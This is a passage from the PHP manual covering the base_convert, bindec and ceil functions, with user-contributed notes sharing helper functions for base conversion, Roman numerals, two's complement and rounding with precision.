$BASECODE[37]='B';
$BASECODE[38]='C';
...
$BASECODE[61]='Z';
$BASECODE[62]='/';
$BASECODE[63]='-';
$BASECODE[64]='+';
//

//print_r ($BASECODE);TEST

function creaSpeedCode ( $speedCodeDEC,$partialCode="",$BASECODE){

    @$division      = $speedCodeDEC/$BASECODE['items'];
    @$resultINT   = floor($speedCodeDEC/$BASECODE['items']);
    @$remnant          = $speedCodeDEC%$BASECODE['items'];
    $partialCode  = $BASECODE[$remnant].$partialCode;
echo "
    <br>
    Inserito speedCodeDEC:$speedCodeDEC - partialCode:$partialCode<br>
    items            : ".$BASECODE['items']."<br>
    division          : $division    <br>
    resultINT        : $resultINT    <br>
    remnant            : $remnant        <br>
    partialCode        : $partialCode    <br>
";//TEST
    if ($resultINT > 65)     $partialCode = creaSpeedCode($resultINT,$partialCode,$BASECODE);
    return $BASECODE[$resultINT].$partialCode;
}
echo $speedCodeDEC."<br>";
echo $risultato = creaSpeedCode ( $speedCodeDEC,"",$BASECODE);
Theriault 30-Nov-2009 11:11
If you would like to convert numbers into just the uppercase alphabet base and vice-versa (e.g. the column names in a Microsoft Windows Excel sheet..A-Z, AA-ZZ, AAA-ZZZ, ...), the following functions will do this.

<?php

/**
 * Converts an integer into the alphabet base (A-Z).
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function num2alpha($n) {
    $r = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $r = chr(0x41 + ($n % pow(26, $i) / pow(26, $i - 1))) . $r;
        $n -= pow(26, $i);
    }
    return $r;
}
/**
 * Converts an alphabetic string into an integer.
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function alpha2num($a) {
    $r = 0;
    $l = strlen($a);
    for ($i = 0; $i < $l; $i++) {
        $r += pow(26, $i) * (ord($a[$l - $i - 1]) - 0x40);
    }
    return $r - 1;
}

?>

Microsoft Windows Excel stops at IV (255), but this function can handle much larger. However, English words will start to form after a while and some may be offensive, so be careful.
MFTM 16-Aug-2009 08:30
It might be a better function to deal with numbers over 9000. (even 10 millions)

<?php

function romanic_number($integer, $upcase = true)
{
    $table = array('M'=>1000, 'CM'=>900, 'D'=>500, 'CD'=>400, 'C'=>100, 'XC'=>90, 'L'=>50, 'XL'=>40, 'X'=>10, 'IX'=>9, 'V'=>5, 'IV'=>4, 'I'=>1);
    $return = '';
    while($integer > 0)
    {
        foreach($table as $rom=>$arb)
        {
            if($integer >= $arb)
            {
                $integer -= $arb;
                $return .= $rom;
                break;
            }
        }
    }

    return $return;
}
?>
cyrilbele at yahoo dot fr 16-Apr-2009 10:58
If you want to do sharding, at some point you will need to decide which shard to target. Here is a simple function to assign the data to a particular shard based on a key (usually identifier of the row)

Here is a simple function to get the shard based on the key and the number of shards available

<?php
function getShard($key,$nbShards) {
    $num = substr(base_convert(sha1($key), 16, 10),4,6);
    return $num%$nbShards;
}
?>
Ray Paseur sometimes uses GMail 07-Dec-2006 12:55
[EDIT BY danbrown AT php DOT net: This function provides conversion of Arabic numerals (those used by most of the world, the standard 1,2,3,4,...) into Roman numerals (I,II,III,IV,...).  The original author failed to provide a description, but due to the usefulness of the function, it is being preserved from deletion, and a simple description added.]

<?php
function roman_numerals($input_arabic_numeral='') {

    if ($input_arabic_numeral == '') { $input_arabic_numeral = date("Y"); } // DEFAULT OUTPUT: THIS YEAR
    $arabic_numeral            = intval($input_arabic_numeral);
    $arabic_numeral_text    = "$arabic_numeral";
    $arabic_numeral_length    = strlen($arabic_numeral_text);

    if (!ereg('[0-9]', $arabic_numeral_text)) {
return false; }

    if ($arabic_numeral > 4999) {
return false; }

    if ($arabic_numeral < 1) {
return false; }

    if ($arabic_numeral_length > 4) {
return false; }

    $roman_numeral_units    = $roman_numeral_tens        = $roman_numeral_hundreds        = $roman_numeral_thousands        = array();
    $roman_numeral_units[0]    = $roman_numeral_tens[0]    = $roman_numeral_hundreds[0]    = $roman_numeral_thousands[0]    = ''; // NO ZEROS IN ROMAN NUMERALS

    $roman_numeral_units[1]='I';
    $roman_numeral_units[2]='II';
    $roman_numeral_units[3]='III';
    $roman_numeral_units[4]='IV';
    $roman_numeral_units[5]='V';
    $roman_numeral_units[6]='VI';
    $roman_numeral_units[7]='VII';
    $roman_numeral_units[8]='VIII';
    $roman_numeral_units[9]='IX';

    $roman_numeral_tens[1]='X';
    $roman_numeral_tens[2]='XX';
    $roman_numeral_tens[3]='XXX';
    $roman_numeral_tens[4]='XL';
    $roman_numeral_tens[5]='L';
    $roman_numeral_tens[6]='LX';
    $roman_numeral_tens[7]='LXX';
    $roman_numeral_tens[8]='LXXX';
    $roman_numeral_tens[9]='XC';

    $roman_numeral_hundreds[1]='C';
    $roman_numeral_hundreds[2]='CC';
    $roman_numeral_hundreds[3]='CCC';
    $roman_numeral_hundreds[4]='CD';
    $roman_numeral_hundreds[5]='D';
    $roman_numeral_hundreds[6]='DC';
    $roman_numeral_hundreds[7]='DCC';
    $roman_numeral_hundreds[8]='DCCC';
    $roman_numeral_hundreds[9]='CM';

    $roman_numeral_thousands[1]='M';
    $roman_numeral_thousands[2]='MM';
    $roman_numeral_thousands[3]='MMM';
    $roman_numeral_thousands[4]='MMMM';

    if ($arabic_numeral_length == 3) { $arabic_numeral_text = "0" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 2) { $arabic_numeral_text = "00" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 1) { $arabic_numeral_text = "000" . $arabic_numeral_text; }

    $anu = substr($arabic_numeral_text, 3, 1);
    $anx = substr($arabic_numeral_text, 2, 1);
    $anc = substr($arabic_numeral_text, 1, 1);
    $anm = substr($arabic_numeral_text, 0, 1);

    $roman_numeral_text = $roman_numeral_thousands[$anm] . $roman_numeral_hundreds[$anc] . $roman_numeral_tens[$anx] . $roman_numeral_units[$anu];
return ($roman_numeral_text);
}
?>
CJ Dennis 06-Apr-2006 10:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
lindsay at bitleap dot com 18-Mar-2005 10:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
        return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
simon at simonster dot com 16-Jun-2004 03:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
    $binary_number = base_convert($number, $from_base, 2);
    $final_string = "";
    $new_length = (ceil(strlen($binary_number)/8)*8);
    $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
    for($i=($new_length-8); $i>=0; $i-=8) {
        $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
    }
    return $final_string;
}

function from_base256($string, $to_base = 10) {
    $number = "";
    for($i=0; $i<strlen($string); $i++) {
        $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
    }
    return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com 28-Apr-2004 11:20
<?php
function binarycodedstring2dec($binary) {
        $len=strlen($binary);
        $rows=($len/4)-1;
        if (($len%4)>0) {
                $pad=$len+(4-($len%4));
                $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
                $len=strlen($binary);
                $rows=($len/4)-1;
        }
        $x=0;
        for ($x=0;$x<=$rows;$x++) {
                $s=($x*4);
                $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
                $num=base_convert($bins,2,10);
                if ($num>9) {
                        die("the string is not a proper binary coded decimal\n");
                } else {
                        $res.=$num;
                }
        }
        return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
fiftytoo at buckeyeexpress dot com 24-Dec-2003 09:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>
Fips 29-Jul-2003 08:08
I wrote a function for converting numbers not only into 0-9 and a-z:

-----
<?php
function custombase_convert($numstring, $baseFrom = "0123456789", $baseTo = "0123456789")
{
    $numstring = (string) $numstring;
    $baseFromLen = strlen($baseFrom);
    $baseToLen = strlen($baseTo);
    if ($baseFrom == "0123456789") // No analyzing needed, because $numstring is already decimal
    {
        $decVal = (int) $numstring;
    } else {
        $decVal = 0;
        for ($len = (strlen($numstring) - 1); $len >= 0; $len--)
        {
            $char = substr($numstring, 0, 1);
            $pos = strpos($baseFrom, $char);
            if ($pos !== FALSE)
            {
                $decVal += $pos * ($len > 0 ? pow($baseFromLen, $len) : 1);
            }
            $numstring = substr($numstring, 1);
        }
    }
    if ($baseTo == "0123456789") // No converting needed, because $numstring needs to be converted to decimal
    {
        $numstring = (string) $decVal;
    } else {
        $numstring = FALSE;
        $nslen = 0;
        $pos = 1;
        while ($decVal > 0)
        {
            $valPerChar = pow($baseToLen, $pos);
            $curChar = floor($decVal / $valPerChar);
            if ($curChar >= $baseToLen)
            {
                $pos++;
            } else {
                $decVal -= ($curChar * $valPerChar);
                if ($numstring === FALSE)
                {
                    $numstring = str_repeat($baseTo{1}, $pos);
                    $nslen = $pos;
                }
                $numstring = substr($numstring, 0, ($nslen - $pos)) . $baseTo{$curChar} . substr($numstring, (($nslen - $pos) + 1));
                $pos--;
            }
        }
        if ($numstring === FALSE) $numstring = $baseTo{1};
    }
    return $numstring;
}
?>
------

The function arguments:
$numstring - String with number to convert. (e.g. "15" or "5F")
$baseFrom - Chars of the base the number is in. (e.g. "0123456789" for decimal or "01" for binary)
$baseTo - Chars of the base to convert the number. (e.g. "0123456789" for decimal or "01" for binary)

I wrote it for writing numbers in files, and so I convert between "0123456789" (decimal) and "\x01\x02\x03...\xFF" - uses very low disc space :-) (You could of course also add the null char (\x00), but >I< need it to seperate the numbers)
tim_converse at yahoo dot com 20-Jan-2000 12:24
base_convert expects its string arguments to be integral, and gives nonsensical answers when given floating-point strings.  For example, base_convert("1.0", 10, 2) yields "1100100".  It seems that "1.0" is being interpreted as "100".  (PHP4.0b3).


Binary to decimal

  • « base_convert
  • ceil »
  • PHP Manual
  • Math Functions
  • Binary to decimal

bindec

(PHP 4, PHP 5)

bindec — Binary to decimal

Description

number bindec ( string $binary_string )

Returns the decimal equivalent of the binary number represented by the binary_string argument.

bindec() converts a binary number to an integer or, if needed for size reasons, float.

bindec() interprets all binary_string values as unsigned integers. This is because bindec() sees the most significant bit as another order of magnitude rather than as the sign bit.

Parameters

binary_string

The binary string to convert

Warning

The parameter must be a string. Using other data types will produce unexpected results.

Return Values

The decimal value of binary_string

Examples

Example #1 bindec() example

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

The above example will output:

51
51
7

Example #2 bindec() interprets input as unsigned integers

<?php
/*
 * The lesson from this example is in the output
 * rather than the PHP code itself.
 */

$magnitude_lower = pow(2, (PHP_INT_SIZE * 8) - 2);
p($magnitude_lower - 1);
p($magnitude_lower, 'See the rollover?  Watch it next time around...');

p(PHP_INT_MAX, 'PHP_INT_MAX');
p(~PHP_INT_MAX, 'interpreted to be one more than PHP_INT_MAX');

if (PHP_INT_SIZE == 4) {
    $note = 'interpreted to be the largest unsigned integer';
} else {
    $note = 'interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision';
}
p(-1, $note);

function p($input, $note = '') {
    echo "input:        $input\n";

    $format = '%0' . (PHP_INT_SIZE * 8) . 'b';
    $bin = sprintf($format, $input);
    echo "binary:       $bin\n";

    ini_set('precision', 20);  // For readability on 64 bit boxes.
    $dec = bindec($bin);
    echo 'bindec():     ' . $dec . "\n";

    if ($note) {
        echo "NOTE:         $note\n";
    }

    echo "\n";
}
?>

Output of the above example on 32 bit machines:

input:        1073741823
binary:       00111111111111111111111111111111
bindec():     1073741823

input:        1073741824
binary:       01000000000000000000000000000000
bindec():     1073741824
NOTE:         See the rollover?  Watch it next time around...

input:        2147483647
binary:       01111111111111111111111111111111
bindec():     2147483647
NOTE:         PHP_INT_MAX

input:        -2147483648
binary:       10000000000000000000000000000000
bindec():     2147483648
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       11111111111111111111111111111111
bindec():     4294967295
NOTE:         interpreted to be the largest unsigned integer

Output of the above example on 64 bit machines:

input:        4611686018427387903
binary:       0011111111111111111111111111111111111111111111111111111111111111
bindec():     4611686018427387903

input:        4611686018427387904
binary:       0100000000000000000000000000000000000000000000000000000000000000
bindec():     4611686018427387904
NOTE:         See the rollover?  Watch it next time around...

input:        9223372036854775807
binary:       0111111111111111111111111111111111111111111111111111111111111111
bindec():     9223372036854775807
NOTE:         PHP_INT_MAX

input:        -9223372036854775808
binary:       1000000000000000000000000000000000000000000000000000000000000000
bindec():     9223372036854775808
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       1111111111111111111111111111111111111111111111111111111111111111
bindec():     18446744073709551616
NOTE:         interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision

Notes

Note:

The function can convert numbers that are too large to fit into the platforms integer type, larger values are returned as float in that case.

See Also

  • decbin() - Decimal to binary
  • octdec() - Octal to decimal
  • hexdec() - Hexadecimal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

patrick dot boens at latosensu dot be 15-Jul-2012 10:14
Left-shift a string by a number of bytes
<?php
function STR_shl( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Left( $szBits,$nBits );                           /* The $nBits leftmost bits of the string */
    $szShifted  = substr( $szBits,$nBits ) . $szLostBits;               /* $szStr left shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Right-shift a string by a number of bytes
<?php

function STR_shr( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Right( $szBits,$nBits );                          /* The $nBits rightmost bits of the string */
    $szShifted  = $szLostBits . substr( $szBits,0,-$nBits );            /* $szStr right shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Additional functions used by the two preceding:
<?php
function STR_Binary( $szStr )
/*-------------------------*/
{
    $szRetVal = '';                                                     /* Ready to return an empty string */

    if ( ( $iLength = strlen( $szStr ) ) > 0 )                          /* If string NOT empty */
    {
        for ( $i = 0; $i < $iLength;$i++ )                              /* Treat each character of the string */
        {
            $szRetVal .= sprintf( '%08b',ord( $szStr[$i] ) );           /* Turn this char to a binary representation (8 bits) */
        }   /* for ( $i = 0; $i < $iLength;$i++ ) */
    }   /* if ( ( $iLength = strlen( $szStr ) ) > 0 ) */

    return ( $szRetVal );                                               /* Return result to caller */
}

function STR_Left( $szStr,$iCount = 1 )
/*----------------------------------*/
{
    return substr( $szStr,0,$iCount );
}   /* End of function strleft() */

function STR_Right( $szString,$iCount )
/*----------------------------------*/
{
    return substr( $szString,0 + strlen( $szString ) - $iCount,$iCount );
}
?>
info at rickdg dot nl 01-Apr-2010 01:40
Two functions to convert 16bit or 8bit binary to integer using two's complement. If input exceeds maximum bits, false is returned. Function is easily scalable to x bits by changing the hexadecimals.

<?php function _bin16dec($bin) {
    // Function to convert 16bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFFFF) { return false; }
    if($num >= 0x8000) {
        return -(($num ^ 0xFFFF)+1);
    } else {
        return $num;
    }
}

function _bin8dec($bin) {
    // Function to convert 8bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFF) { return false; }
    if($num >= 0x80) {
        return -(($num ^ 0xFF)+1);
    } else {
        return $num;
    }
} ?>
Nitrogen 21-Jul-2009 04:27
Binary to Decimal conversion using the BCMath extension..

<?php

function BCBin2Dec($Input='') {
  $Output='0';
  if(preg_match("/^[01]+$/",$Input)) {
    for($i=0;$i<strlen($Input);$i++)
      $Output=BCAdd(BCMul($Output,'2'),$Input{$i});
  }
  return($Output);
}

?>

This will simply convert from Base-2 to Base-10 using BCMath (arbitrary precision calculation).

See also: my 'BCDec2Bin' function on the 'decbin' document.
Enjoy,
Nitrogen.
nodarinodo at mail dot ru 08-Jan-2009 08:51
<?php
// bindecfunc :)))) I think it works well too :)
function bindecc($str)
    {
        $str = str_replace(" ", "", $str);
        $strr = preg_match('/[^01]/', $str);
        if($strr == 1) { return "<b> Error ! only 1 and 0;</b>"; }
        $strsig = strlen($str);
        $strr1 = strrev($str);
        $strf = '';
        for($i = $strsig; $i >= 0; $i--)
        {
            $strf += ($strr1[$i] * pow(2, $i));
            #$strf += $str[$i];
        }
        return $strf;
    }
?>
flashpack at gmail dot com 16-Nov-2008 01:40
for converting fractions :
eg : 1001.1101

<?php
function BinaryToDecimal($binary){
  $binary=trim($binary);
  if (strstr($binary,'.')){
    $split=explode('.',$binary);
    $integer=$split[0];
    $fraction=$split[1];

    $digits=str_split($fraction);
    $num=sizeof($digits);
    for ($i=1; $i<=$num;$i++){
      if ($digits[$i-1]>1){
        echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
      }
      $exponent=pow(2,-$i);
      $fraction_result+=$digits[$i-1]*$exponent;
    }

  }else{
    $integer=$binary;
  }

  $splits=str_split($integer);
  $num=sizeof($splits)-1;
  $i=$num;
  foreach($splits as $digits){
    if ($digits>1){
      echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
    }
    $exponent=pow(2,$i);
    $integer_result+=$digits*$exponent;
    $i--;
  }
  if($fraction_result){
    $result=$integer_result+$fraction_result;
  }else {
    $result=$integer_result;
  }
  return $result ;
}
?>
mashematician at gmail dot com 13-Mar-2008 05:57
A binary to decimal conversion function that takes advantage of the BC library functions to return decimal values of arbitrary length.

Input type must be a string in order to work properly.

<?php

function binary_to_decimal($a) {
    $bin_array = str_split($a);

    $y=sizeof($bin_array)-1;
    for ($x=0; $x<sizeof($bin_array)-1; $x++) {
        if ($bin_array[$x] == 1) {
            $bin_array[$x] = bcpow(2, $y);
        }
        $y--;
    }

    for ($z=0; $z<sizeof($bin_array); $z++) {
        $result = bcadd($result, $bin_array[$z]);
    }
    echo $result;
}

binary_to_decimal('11111');

?>
alan hogan dot com slash contact 09-Nov-2007 10:34
The "smartbindec" function I wrote below will convert any binary string (of a reasonable size) to decimal.  It will use two's complement if the leftmost bit is 1, regardless of bit length.  If you are getting unexpected negative answers, try zero-padding your strings with sprintf("%032s", $yourBitString).

<?php
function twoscomp($bin) {
    $out = "";
    $mode = "init";
    for($x = strlen($bin)-1; $x >= 0; $x--) {
        if ($mode != "init")
            $out = ($bin[$x] == "0" ? "1" : "0").$out;
        else {
            if($bin[$x] == "1") {
                $out = "1".$out;
                $mode = "invert";
            }
            else
                $out = "0".$out;
        }
    }
    return $out;
}
function smartbindec($bin) {
    if($bin[0] == 1)
        return -1 * bindec(twoscomp($bin));
    else return (int) bindec($bin);
}
?>
gwbdome at freenet dot de 19-Aug-2004 11:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de 30-May-2003 07:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
    $y.=1;
   }
   else{
    $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15   => 0
15/2  = 7,5  => 1
7/2   = 3,5  => 1
3/2   = 1,5  => 1
1/2   = 0,5  => 1
(0/2   = 0    finish)


Round fractions up

  • « bindec
  • cos »
  • PHP Manual
  • Math Functions
  • Round fractions up

ceil

(PHP 4, PHP 5)

ceil — Round fractions up

Description

float ceil ( float $value )

Returns the next highest integer value by rounding up value if necessary.

Parameters

value

The value to round

Return Values

value rounded up to the next highest integer. The return value of ceil() is still of type float as the value range of float is usually bigger than that of integer.

Examples

Example #1 ceil() example

<?php
echo ceil(4.3);    // 5
echo ceil(9.999);  // 10
echo ceil(-3.14);  // -3
?>

See Also

  • floor() - Round fractions down
  • round() - Rounds a float

User Contributed Notes

josoort at home dot nl 12-May-2014 04:14
You can simply make a ceil with decimals function by using the round() function and add 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function ceilDec($input, $decimals)
{
    $subtract = 5 / pow(10, $decimals + 1);
    $output = round($input + $subtract, $decimals);
    return $output;
}
eg at pensio dot com 29-Jul-2013 08:57
Remember that floating point precision means behavior can be "correct" - though not what you expect:

php > echo 100 * 1 * 0.07;
7
php > echo ceil(100 * 1 * 0.07);
8
alesegdia at gmail dot com 17-Jun-2013 04:00
Some people asking on rounding -1.5 to -2 and 1.5 to 2, the way is this:

<?=round($var, 0, PHP_ROUND_HALF_UP)?>

See round() doc for more information on this.
sebastien dot thevenaz at gmail dot com 31-Jul-2012 03:20
Here is another way to use ceil for decimal numbers with precision:

<?php
    function ceil_dec($number, $precision)
    {
        $coefficient = pow(10,$precision);
        return ceil($number*$coefficient)/$coefficient;
    }
?>
php is the best 20-Apr-2012 03:29
Ceil for decimal numbers with precision:

function ceil_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
$numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=ceil($numberpart[1]);}
    else
    {$numberpart[1]=floor($numberpart[1]);}

    $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo ceil_dec(1.125,2,"."); //1.13
echo ceil_dec(-1.3436,3,"."); //-1.343
echo ceil_dec(102938.1,4,"."); //102938.1
Lexand 30-Mar-2012 09:15
$k = 0.14 * 100;
echo ceil($k); // results 15

solution is in converting float number to string

Example 1.
echo ceil ("{$k}"); // results 14

Example 2.
$totalSum1 = 102.1568;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.16

Example 3.
$totalSum2 = 102.15;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.15

useful for 'ceil' with precision capability
frozenfire at php dot net 06-Feb-2012 11:38
Please see http://www.php.net/manual/en/language.types.float.php for information regarding floating point precision issues.
oktam 10-May-2011 12:12
Actual behaviour:
echo ceil(-0.1); //result "-0" but i expect "0"

Workaround:
echo ceil(-0.1)+0; //result "0"
AndrewS 07-Mar-2011 01:55
The code below rounds a value up to a nearest multiple, away from zero.  The multiple does not have to be a integer.  So you could round, say, to the nearest 25.4, allowing you to round measurements in mm to the nearest inch longer.

<?php
// $x is the variable
// $c is the base multiple to round to, away from zero
$result =  ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
?>

I originally developed this as an example of write-only code: to make the point that being cleverly terse might save clock ticks but wastes more in programmer time generating un-maintainable code.

The inline code above nests one conditional statement inside another.  The value of y changes twice within the same line (three times, if you count the pre-increment).  The value of each assignment is used to determine branching within the conditional statement.

How it works can more easily be seen from the expansion below:

<?php
function myCeilingLong($x,$c)
{
    // $x is variable
    // $c is ceiling multiple
    $a = $x/$c ;
    $b = (int)$a ;
    if ($a == $b)
        return $x ;  // x is already a multiple of c;
    else
    {
        if ($x>=0)
            return ($b+1)*$c ;  // return ((int)(x/c)+1 ) * c
        else
            return ($b-1)*$c ;  // return ((int)(x/c)-1 ) * c
    }
}
?>

<?php
function myCeilingShort($x,$c)
{
    return ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
}
?>

Comparing the versions for speed: the in-line version is about three times faster than myCeilingLong() - but this is almost entirely down to function call overhead.

Putting the in-line code inside the function: the difference in execution speed between myCeilingLong() and myCeilingShort() is around 1.5%.

ceil() is still around 25% faster than the in-line statement so if you are a speed hound your efforts might be better devoted to compiling your own library ...
Scott Weaver / scottmweaver * gmail 29-Aug-2008 07:46
I needed this and couldn't find it so I thought someone else wouldn't have to look through a bunch of Google results-

<?php

// duplicates m$ excel's ceiling function
if( !function_exists('ceiling') )
{
    function ceiling($number, $significance = 1)
    {
        return ( is_numeric($number) && is_numeric($significance) ) ? (ceil($number/$significance)*$significance) : false;
    }
}

echo ceiling(0, 1000);     // 0
echo ceiling(1, 1);        // 1000
echo ceiling(1001, 1000);  // 2000
echo ceiling(1.27, 0.05);  // 1.30

?>
themanwe at yahoo dot com 20-Mar-2007 08:35
float ceil

function fCeil($val,$pressision=2){
     $p = pow(10,$pressision);
    $val = $val*$p;
    $val = ceil($val);
  return $val /$p;
}
steve_phpnet // nanovox \\ com 28-Feb-2005 09:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
aaron at mind-design dot co dot uk 21-Jul-2004 10:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com 22-Apr-2004 02:51
